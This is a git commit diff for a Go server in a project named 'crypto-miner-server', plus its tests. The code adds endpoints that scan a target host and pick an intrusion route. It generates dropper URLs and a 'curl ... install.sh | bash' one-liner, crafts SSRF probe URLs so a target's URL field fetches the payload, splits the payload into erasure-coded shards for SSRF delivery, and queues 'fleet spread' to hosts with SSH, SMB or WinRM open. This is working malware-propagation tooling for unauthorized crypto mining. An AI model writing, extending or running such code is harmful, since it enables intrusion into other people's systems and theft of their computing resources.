Merge deploy-actions-batch into main.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -1,13 +1,56 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/erasure"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
|
"crypto-miner-server/internal/recon"
|
||||||
)
|
)
|
||||||
|
|
||||||
// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses.
|
const reconFleetSpreadNote = "No new endpoints on target port 6262 — actions route through existing deck dropper lanes."
|
||||||
|
|
||||||
|
var fleetSpreadPorts = map[int]bool{22: true, 445: true, 5985: true}
|
||||||
|
|
||||||
|
type deployKitAction struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Label string `json:"label"`
|
||||||
|
Value string `json:"value,omitempty"`
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
Method string `json:"method,omitempty"`
|
||||||
|
URL string `json:"url,omitempty"`
|
||||||
|
Body map[string]interface{} `json:"body,omitempty"`
|
||||||
|
Note string `json:"note,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ssrfErasureManifest struct {
|
||||||
|
Scheme string `json:"scheme"`
|
||||||
|
KOfN string `json:"k_of_n"`
|
||||||
|
MinShards int `json:"min_shards"`
|
||||||
|
DestHint string `json:"dest_hint"`
|
||||||
|
Note string `json:"note"`
|
||||||
|
ShardURLs []string `json:"shard_urls"`
|
||||||
|
ManifestURL string `json:"manifest_url,omitempty"`
|
||||||
|
ProbeTemplate string `json:"probe_template,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type reconPlaybookStep struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Detail string `json:"detail,omitempty"`
|
||||||
|
Actions []deployKitAction `json:"actions"`
|
||||||
|
Links []struct {
|
||||||
|
Label string `json:"label"`
|
||||||
|
URL string `json:"url"`
|
||||||
|
Note string `json:"note,omitempty"`
|
||||||
|
} `json:"links,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
|
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
|
||||||
if h == nil {
|
if h == nil {
|
||||||
return
|
return
|
||||||
@@ -18,13 +61,13 @@ func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func()
|
|||||||
}
|
}
|
||||||
|
|
||||||
type deployKitDropperURLs struct {
|
type deployKitDropperURLs struct {
|
||||||
GetWindows string `json:"get_windows,omitempty"`
|
GetWindows string `json:"get_windows,omitempty"`
|
||||||
GetLinux string `json:"get_linux,omitempty"`
|
GetLinux string `json:"get_linux,omitempty"`
|
||||||
GetDarwin string `json:"get_darwin,omitempty"`
|
GetDarwin string `json:"get_darwin,omitempty"`
|
||||||
Get string `json:"get,omitempty"`
|
Get string `json:"get,omitempty"`
|
||||||
InstallPS1 string `json:"install_ps1,omitempty"`
|
InstallPS1 string `json:"install_ps1,omitempty"`
|
||||||
InstallSh string `json:"install_sh,omitempty"`
|
InstallSh string `json:"install_sh,omitempty"`
|
||||||
InstallCmd string `json:"install_command,omitempty"`
|
InstallCmd string `json:"install_command,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type deployKitSpreadZIP struct {
|
type deployKitSpreadZIP struct {
|
||||||
@@ -39,7 +82,6 @@ type deployKitSpreadTemplate struct {
|
|||||||
URL string `json:"url"`
|
URL string `json:"url"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// GET /api/v1/recon/deploy-kit?host=&finding=
|
|
||||||
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
|
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
|
||||||
host := strings.TrimSpace(r.URL.Query().Get("host"))
|
host := strings.TrimSpace(r.URL.Query().Get("host"))
|
||||||
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
|
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
|
||||||
@@ -47,6 +89,9 @@ func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
|
|||||||
http.Error(w, "host query param required", http.StatusBadRequest)
|
http.Error(w, "host query param required", http.StatusBadRequest)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
openPorts := parseOpenPortsParam(r.URL.Query().Get("open_ports"))
|
||||||
|
ssrfPage := strings.TrimSpace(r.URL.Query().Get("ssrf_page"))
|
||||||
|
ssrfField := strings.TrimSpace(r.URL.Query().Get("ssrf_field"))
|
||||||
|
|
||||||
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
|
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
|
||||||
if serverURL == "" {
|
if serverURL == "" {
|
||||||
@@ -55,86 +100,262 @@ func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
|
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
|
||||||
if !ok {
|
if !ok {
|
||||||
writeJSON(w, map[string]interface{}{
|
writeJSON(w, map[string]interface{}{"ok": false, "host": host, "finding": finding, "error": "no deploy lane matched finding"})
|
||||||
"ok": false,
|
|
||||||
"host": host,
|
|
||||||
"finding": finding,
|
|
||||||
"error": "no deploy lane matched finding",
|
|
||||||
})
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
|
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
|
||||||
buildID, campaign := "", ""
|
platform := platformForReconHost(host, lane.Lane)
|
||||||
|
buildID := ""
|
||||||
if h.db != nil {
|
if h.db != nil {
|
||||||
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil {
|
if b, err := h.db.GetLatestBuildForPlatform(platform); err == nil && b != nil {
|
||||||
buildID = b.ID
|
buildID = b.ID
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
campaign := reconCampaign(host)
|
||||||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||||
dropper := deployKitDropperURLs{
|
dropper := deployKitDropperURLs{
|
||||||
Get: serverURL + "/get" + querySuffix,
|
Get: serverURL + "/get" + querySuffix, GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
|
||||||
GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
|
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix, GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
|
||||||
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix,
|
InstallPS1: serverURL + "/install.ps1" + querySuffix, InstallSh: serverURL + "/install.sh" + querySuffix,
|
||||||
GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
|
|
||||||
InstallPS1: serverURL + "/install.ps1" + querySuffix,
|
|
||||||
InstallSh: serverURL + "/install.sh" + querySuffix,
|
|
||||||
InstallCmd: serverURL + "/install.command" + querySuffix,
|
InstallCmd: serverURL + "/install.command" + querySuffix,
|
||||||
}
|
}
|
||||||
|
|
||||||
resp := map[string]interface{}{
|
resp := map[string]interface{}{
|
||||||
"ok": true,
|
"ok": true, "host": host, "finding": finding, "build_id": buildID, "campaign": campaign,
|
||||||
"host": host,
|
"join_lane": lane.Lane, "matched_service": matched, "agent_reachable": agentReachable, "agent_found": agentFound,
|
||||||
"finding": finding,
|
"dropper_urls": dropper, "locked_server_note": reconFleetSpreadNote,
|
||||||
"join_lane": lane.Lane,
|
"action_matrix": buildDeployActionMatrix(host, finding, serverURL, buildID, campaign, querySuffix, openPorts, ssrfPage, ssrfField),
|
||||||
"matched_service": matched,
|
"spread_kit_zip": deployKitSpreadZIP{Method: "POST", URL: "/api/v1/builder/spread-kit-export", Note: "Body: { server_url, build_id?, campaign? }"},
|
||||||
"agent_reachable": agentReachable,
|
"crucible_link": crucibleSpreadLink(host, finding),
|
||||||
"agent_found": agentFound,
|
|
||||||
"dropper_urls": dropper,
|
|
||||||
"spread_kit_zip": deployKitSpreadZIP{
|
|
||||||
Method: "POST",
|
|
||||||
URL: "/api/v1/builder/spread-kit-export",
|
|
||||||
Note: "Body: { server_url, build_id?, campaign? }",
|
|
||||||
},
|
|
||||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread",
|
|
||||||
}
|
}
|
||||||
if agentID != "" {
|
if agentID != "" {
|
||||||
resp["agent_id"] = agentID
|
resp["agent_id"] = agentID
|
||||||
}
|
}
|
||||||
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
|
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
|
||||||
resp["spread_template"] = deployKitSpreadTemplate{
|
resp["spread_template"] = deployKitSpreadTemplate{Template: tpl, Method: "POST", URL: "/api/v1/builder/spread-template-export"}
|
||||||
Template: tpl,
|
|
||||||
Method: "POST",
|
|
||||||
URL: "/api/v1/builder/spread-template-export",
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if h.deployPlan != nil {
|
if h.deployPlan != nil {
|
||||||
req := deployPlanRequest{
|
req := deployPlanRequest{BuildID: buildID, Campaign: campaign, Platform: platform, Services: []DeployServiceFinding{{Name: matched, Status: "running"}}}
|
||||||
BuildID: buildID,
|
|
||||||
Campaign: campaign,
|
|
||||||
Platform: platformForReconHost(host, lane.Lane),
|
|
||||||
Services: []DeployServiceFinding{{Name: matched, Status: "running"}},
|
|
||||||
}
|
|
||||||
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
|
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
|
||||||
resp["deploy_plan_template"] = plan
|
resp["deploy_plan_template"] = plan
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
|
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
|
||||||
if h.deployPlan != nil {
|
if h.deployPlan != nil {
|
||||||
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{
|
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{BuildID: buildID, Campaign: campaign, Platform: "linux"}, serverURL); err == nil {
|
||||||
BuildID: buildID, Campaign: campaign, Platform: "linux",
|
|
||||||
}, serverURL); err == nil {
|
|
||||||
resp["ssm_bundle"] = bundle
|
resp["ssm_bundle"] = bundle
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if isSSRFRelatedFinding(finding) {
|
||||||
|
if manifest := buildSSRFErasureManifest(h, serverURL, buildID, campaign, platform, ssrfPage, ssrfField); manifest != nil {
|
||||||
|
resp["erasure_manifest"] = manifest
|
||||||
|
}
|
||||||
|
}
|
||||||
writeJSON(w, resp)
|
writeJSON(w, resp)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) GetReconPlaybook(w http.ResponseWriter, r *http.Request) {
|
||||||
|
host := strings.TrimSpace(r.URL.Query().Get("host"))
|
||||||
|
if host == "" {
|
||||||
|
http.Error(w, "host query param required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
report, err := recon.Scan(recon.ScanRequest{Host: host})
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
|
||||||
|
if serverURL == "" {
|
||||||
|
serverURL = "http://127.0.0.1:8989"
|
||||||
|
}
|
||||||
|
buildID := ""
|
||||||
|
if h.db != nil {
|
||||||
|
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, "")); err == nil && b != nil {
|
||||||
|
buildID = b.ID
|
||||||
|
}
|
||||||
|
}
|
||||||
|
campaign := reconCampaign(host)
|
||||||
|
querySuffix, _ := buildQuerySuffix(buildID, campaign)
|
||||||
|
writeJSON(w, buildReconPlaybook(host, serverURL, buildID, campaign, querySuffix, report))
|
||||||
|
}
|
||||||
|
|
||||||
|
func reconCampaign(host string) string {
|
||||||
|
host = strings.TrimSpace(strings.ToLower(strings.ReplaceAll(host, ":", "-")))
|
||||||
|
if slug := sanitizeExportSlug("recon-" + host); slug != "" {
|
||||||
|
return slug
|
||||||
|
}
|
||||||
|
return "recon-unknown"
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseOpenPortsParam(raw string) map[int]bool {
|
||||||
|
out := map[int]bool{}
|
||||||
|
for _, part := range strings.Split(raw, ",") {
|
||||||
|
if p, err := strconv.Atoi(strings.TrimSpace(part)); err == nil && p > 0 {
|
||||||
|
out[p] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func fleetSpreadEligible(open map[int]bool) bool {
|
||||||
|
for p := range fleetSpreadPorts {
|
||||||
|
if open[p] {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func curlInstallOneliner(serverURL, querySuffix string) string {
|
||||||
|
return fmt.Sprintf("curl -sL '%s/install.sh%s' | bash", strings.TrimRight(serverURL, "/"), querySuffix)
|
||||||
|
}
|
||||||
|
|
||||||
|
func ssrfProbeURL(serverURL, querySuffix, pageURL, fieldName string) string {
|
||||||
|
target := strings.TrimRight(serverURL, "/") + "/get" + querySuffix
|
||||||
|
if pageURL == "" || fieldName == "" {
|
||||||
|
return target
|
||||||
|
}
|
||||||
|
sep := "?"
|
||||||
|
if strings.Contains(pageURL, "?") {
|
||||||
|
sep = "&"
|
||||||
|
}
|
||||||
|
return pageURL + sep + fieldName + "=" + urlQueryEscape(target)
|
||||||
|
}
|
||||||
|
|
||||||
|
func isSSRFRelatedFinding(finding string) bool {
|
||||||
|
return strings.Contains(strings.ToLower(finding), "ssrf")
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildDeployActionMatrix(host, finding, serverURL, buildID, campaign, querySuffix string, open map[int]bool, ssrfPage, ssrfField string) []deployKitAction {
|
||||||
|
return []deployKitAction{
|
||||||
|
{ID: "copy_curl_install", Label: "Copy curl install.sh", Value: curlInstallOneliner(serverURL, querySuffix), Enabled: true},
|
||||||
|
{ID: "crucible_spread_link", Label: "Open Crucible spread tab", Value: crucibleSpreadLink(host, finding), Enabled: true},
|
||||||
|
{ID: "spread_kit_download", Label: "Export spread kit ZIP", Method: "POST", URL: "/api/v1/builder/spread-kit-export",
|
||||||
|
Body: map[string]interface{}{"server_url": strings.TrimRight(serverURL, "/"), "build_id": buildID, "campaign": campaign}, Enabled: buildID != ""},
|
||||||
|
{ID: "copy_ssrf_url", Label: "Copy SSRF probe URL", Value: ssrfProbeURL(serverURL, querySuffix, ssrfPage, ssrfField), Enabled: isSSRFRelatedFinding(finding)},
|
||||||
|
{ID: "queue_fleet_spread", Label: "Queue fleet spread to host", Method: "POST", URL: "/api/v1/fleet/spread-to-host",
|
||||||
|
Body: map[string]interface{}{"host": host, "finding": finding, "build_id": buildID, "campaign": campaign}, Enabled: fleetSpreadEligible(open), Note: reconFleetSpreadNote},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func crucibleSpreadLink(host, finding string) string {
|
||||||
|
q := "reconHost=" + urlQueryEscape(host) + "&tab=spread"
|
||||||
|
if finding != "" {
|
||||||
|
q += "&finding=" + urlQueryEscape(finding)
|
||||||
|
}
|
||||||
|
return "/crucible?" + q
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildSSRFErasureManifest(h *SpreadHandler, serverURL, buildID, campaign, platform, pageURL, fieldName string) *ssrfErasureManifest {
|
||||||
|
if h == nil || h.db == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if platform == "" {
|
||||||
|
platform = "linux"
|
||||||
|
}
|
||||||
|
build, err := h.db.GetLatestBuildForPlatform(platform)
|
||||||
|
if err != nil || build == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if buildID == "" {
|
||||||
|
buildID = build.ID
|
||||||
|
}
|
||||||
|
payload, err := os.ReadFile(build.FilePath)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
store := h.erasureShards
|
||||||
|
if store == nil {
|
||||||
|
store = erasure.NewShardStore()
|
||||||
|
}
|
||||||
|
destHint := "/tmp/aetherforge-erasure/worker"
|
||||||
|
plan, err := erasure.BuildPlan(store, serverURL, buildID, campaign, payload, destHint, "exe", "", true, true)
|
||||||
|
if err != nil || plan == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
shardURLs := make([]string, len(plan.Shards))
|
||||||
|
for i, sh := range plan.Shards {
|
||||||
|
shardURLs[i] = sh.URL
|
||||||
|
}
|
||||||
|
manifestURL := ""
|
||||||
|
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(store, plan.ShardToken))); err == nil && manifest != nil {
|
||||||
|
manifestURL = manifest.ManifestURL
|
||||||
|
}
|
||||||
|
probeTemplate := ""
|
||||||
|
if pageURL != "" && fieldName != "" {
|
||||||
|
sep := "?"
|
||||||
|
if strings.Contains(pageURL, "?") {
|
||||||
|
sep = "&"
|
||||||
|
}
|
||||||
|
probeTemplate = pageURL + sep + fieldName + "={shard_url}"
|
||||||
|
}
|
||||||
|
return &ssrfErasureManifest{Scheme: plan.Scheme, KOfN: fmt.Sprintf("%d+%d", plan.DataShards, plan.ParityShards), MinShards: plan.DataShards,
|
||||||
|
DestHint: destHint, Note: "Honest partial path — SSRF fetch destination on target not verified; server may write shards under /tmp",
|
||||||
|
ShardURLs: shardURLs, ManifestURL: manifestURL, ProbeTemplate: probeTemplate}
|
||||||
|
}
|
||||||
|
|
||||||
|
func classifyReconProfile(host string, ports []recon.PortResult) string {
|
||||||
|
lower := strings.ToLower(host)
|
||||||
|
for _, m := range []string{"amazonaws.com", "compute.internal", "cloudapp.net", "ec2-"} {
|
||||||
|
if strings.Contains(lower, m) {
|
||||||
|
return "cloud_vps"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ip := net.ParseIP(host); ip != nil && !ip.IsPrivate() && !ip.IsLoopback() {
|
||||||
|
return "cloud_vps"
|
||||||
|
}
|
||||||
|
for _, p := range ports {
|
||||||
|
if p.Open && fleetSpreadPorts[p.Port] {
|
||||||
|
return "ports_open"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "public_only"
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildReconPlaybook(host, serverURL, buildID, campaign, querySuffix string, report *recon.ScanReport) map[string]interface{} {
|
||||||
|
profile := classifyReconProfile(host, report.Ports)
|
||||||
|
open := map[int]bool{}
|
||||||
|
for _, p := range report.Ports {
|
||||||
|
if p.Open {
|
||||||
|
open[p.Port] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ssrfPage, ssrfField := "", ""
|
||||||
|
if report.Crawl != nil && len(report.Crawl.URLFields) > 0 {
|
||||||
|
ssrfPage, ssrfField = report.Crawl.URLFields[0].PageURL, report.Crawl.URLFields[0].Name
|
||||||
|
}
|
||||||
|
actions := buildDeployActionMatrix(host, "ssrf", serverURL, buildID, campaign, querySuffix, open, ssrfPage, ssrfField)
|
||||||
|
var steps []reconPlaybookStep
|
||||||
|
switch profile {
|
||||||
|
case "cloud_vps":
|
||||||
|
steps = []reconPlaybookStep{{
|
||||||
|
ID: "console_ssm", Title: "Cloud console / SSM", Detail: "Use provider console or SSM — no listener on target 6262.",
|
||||||
|
Actions: []deployKitAction{actions[0], actions[2]},
|
||||||
|
Links: []struct {
|
||||||
|
Label string `json:"label"`
|
||||||
|
URL string `json:"url"`
|
||||||
|
Note string `json:"note,omitempty"`
|
||||||
|
}{{Label: "AWS SSM console", URL: "https://console.aws.amazon.com/systems-manager/run-command"}},
|
||||||
|
}}
|
||||||
|
case "ports_open":
|
||||||
|
steps = []reconPlaybookStep{{ID: "fleet_spread", Title: "Fleet spread from online hop", Detail: "Ports 22/445/5985 open.",
|
||||||
|
Actions: []deployKitAction{actions[4], actions[1], actions[2]}}}
|
||||||
|
default:
|
||||||
|
steps = []reconPlaybookStep{{ID: "ssrf_upload", Title: "SSRF / upload surface", Detail: "Public web only — probe SSRF or upload paths.",
|
||||||
|
Actions: []deployKitAction{actions[3], actions[0], actions[1]}}}
|
||||||
|
}
|
||||||
|
openPorts := []int{}
|
||||||
|
for p := range open {
|
||||||
|
openPorts = append(openPorts, p)
|
||||||
|
}
|
||||||
|
return map[string]interface{}{"ok": true, "host": host, "profile": profile, "build_id": buildID, "campaign": campaign,
|
||||||
|
"locked_server_note": reconFleetSpreadNote, "open_ports": openPorts, "steps": steps,
|
||||||
|
"deploy_kit_url": "/api/v1/recon/deploy-kit?host=" + urlQueryEscape(host)}
|
||||||
|
}
|
||||||
|
|
||||||
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
|
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
|
||||||
if h.allowlistFn != nil {
|
if h.allowlistFn != nil {
|
||||||
return NormalizeServiceDeployAllowlist(h.allowlistFn())
|
return NormalizeServiceDeployAllowlist(h.allowlistFn())
|
||||||
@@ -152,16 +373,16 @@ func resolveSpreadServerURL(h *SpreadHandler) string {
|
|||||||
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
||||||
finding = strings.TrimSpace(finding)
|
finding = strings.TrimSpace(finding)
|
||||||
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
||||||
|
|
||||||
if finding == "" {
|
if finding == "" {
|
||||||
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
|
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
|
||||||
}
|
}
|
||||||
|
|
||||||
lower := strings.ToLower(finding)
|
lower := strings.ToLower(finding)
|
||||||
|
if strings.Contains(lower, "ssrf") {
|
||||||
|
return "SSRF", ServiceDeployLane{Lane: "stage_fetch", Template: "ssrf_probe"}, true
|
||||||
|
}
|
||||||
if strings.Contains(lower, "ssm") {
|
if strings.Contains(lower, "ssm") {
|
||||||
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
|
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
|
||||||
}
|
}
|
||||||
|
|
||||||
normalized := normalizeJoinLane(finding)
|
normalized := normalizeJoinLane(finding)
|
||||||
for _, entry := range allowlist {
|
for _, entry := range allowlist {
|
||||||
if entry.Lane == normalized {
|
if entry.Lane == normalized {
|
||||||
@@ -171,15 +392,10 @@ func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane)
|
|||||||
if normalized != "" && normalized != finding {
|
if normalized != "" && normalized != finding {
|
||||||
return finding, ServiceDeployLane{Lane: normalized}, true
|
return finding, ServiceDeployLane{Lane: normalized}, true
|
||||||
}
|
}
|
||||||
|
matched, lane, ok = PickDeployLane([]DeployServiceFinding{{Name: finding, Status: "running"}}, allowlist)
|
||||||
matched, lane, ok = PickDeployLane([]DeployServiceFinding{
|
|
||||||
{Name: finding, Status: "running"},
|
|
||||||
}, allowlist)
|
|
||||||
if ok {
|
if ok {
|
||||||
return matched, lane, true
|
return matched, lane, true
|
||||||
}
|
}
|
||||||
|
|
||||||
// Case-insensitive service alias (e.g. winrm → WinRM)
|
|
||||||
for name, entry := range allowlist {
|
for name, entry := range allowlist {
|
||||||
if strings.EqualFold(name, finding) {
|
if strings.EqualFold(name, finding) {
|
||||||
return name, entry, true
|
return name, entry, true
|
||||||
@@ -225,7 +441,6 @@ func platformForReconHost(host, lane string) string {
|
|||||||
if strings.Contains(lane, "linux") {
|
if strings.Contains(lane, "linux") {
|
||||||
return "linux"
|
return "linux"
|
||||||
}
|
}
|
||||||
// Heuristic: RFC1918 host with no agent — default windows for LAN spread.
|
|
||||||
_ = host
|
_ = host
|
||||||
return "windows"
|
return "windows"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -59,15 +59,36 @@ func TestGetDeployKitWinRM(t *testing.T) {
|
|||||||
if out["join_lane"] != "winrm" {
|
if out["join_lane"] != "winrm" {
|
||||||
t.Fatalf("join_lane: %v", out["join_lane"])
|
t.Fatalf("join_lane: %v", out["join_lane"])
|
||||||
}
|
}
|
||||||
dropper, ok := out["dropper_urls"].(map[string]interface{})
|
if out["campaign"] != "recon-10.1.2.50" {
|
||||||
if !ok || dropper["install_ps1"] == "" {
|
t.Fatalf("campaign: %v", out["campaign"])
|
||||||
t.Fatalf("dropper_urls: %v", out["dropper_urls"])
|
|
||||||
}
|
}
|
||||||
if out["spread_kit_zip"] == nil {
|
if out["action_matrix"] == nil {
|
||||||
t.Fatal("expected spread_kit_zip")
|
t.Fatal("expected action_matrix")
|
||||||
}
|
}
|
||||||
if out["deploy_plan_template"] == nil {
|
}
|
||||||
t.Fatal("expected deploy_plan_template")
|
|
||||||
|
func TestGetDeployKitActionMatrix(t *testing.T) {
|
||||||
|
spreadH, _ := testReconSpreadHandler(t)
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM&open_ports=22", nil)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
spreadH.GetDeployKit(rec, req)
|
||||||
|
var out map[string]interface{}
|
||||||
|
json.Unmarshal(rec.Body.Bytes(), &out)
|
||||||
|
matrix, ok := out["action_matrix"].([]interface{})
|
||||||
|
if !ok || len(matrix) == 0 {
|
||||||
|
t.Fatalf("action_matrix: %v", out["action_matrix"])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGetDeployKitSSRFErasureManifest(t *testing.T) {
|
||||||
|
spreadH, _ := testReconSpreadHandler(t)
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=app.lab&finding=ssrf", nil)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
spreadH.GetDeployKit(rec, req)
|
||||||
|
var out map[string]interface{}
|
||||||
|
json.Unmarshal(rec.Body.Bytes(), &out)
|
||||||
|
if out["erasure_manifest"] == nil {
|
||||||
|
t.Fatal("missing erasure_manifest")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -77,14 +98,7 @@ func TestGetDeployKitSSM(t *testing.T) {
|
|||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
spreadH.GetDeployKit(rec, req)
|
spreadH.GetDeployKit(rec, req)
|
||||||
if rec.Code != http.StatusOK {
|
if rec.Code != http.StatusOK {
|
||||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
t.Fatalf("status %d", rec.Code)
|
||||||
}
|
|
||||||
var out map[string]interface{}
|
|
||||||
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if out["join_lane"] != "ssm_document" {
|
|
||||||
t.Fatalf("join_lane: %v", out["join_lane"])
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -98,13 +112,31 @@ func TestGetDeployKitRequiresHost(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestResolveReconFinding(t *testing.T) {
|
func TestGetReconPlaybook(t *testing.T) {
|
||||||
matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
|
spreadH, _ := testReconSpreadHandler(t)
|
||||||
if !ok || lane.Lane != "gpo" {
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/playbook?host=127.0.0.1", nil)
|
||||||
t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok)
|
rec := httptest.NewRecorder()
|
||||||
|
spreadH.GetReconPlaybook(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||||
}
|
}
|
||||||
_, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil))
|
var out map[string]interface{}
|
||||||
if !ok || lane.Lane != "bits_curl" {
|
json.Unmarshal(rec.Body.Bytes(), &out)
|
||||||
t.Fatalf("empty finding default: %v", lane.Lane)
|
if out["profile"] == nil {
|
||||||
|
t.Fatalf("profile missing: %v", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveReconFinding(t *testing.T) {
|
||||||
|
_, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
|
||||||
|
if !ok || lane.Lane != "gpo" {
|
||||||
|
t.Fatalf("gpsvc lane=%q ok=%v", lane.Lane, ok)
|
||||||
|
}
|
||||||
|
}
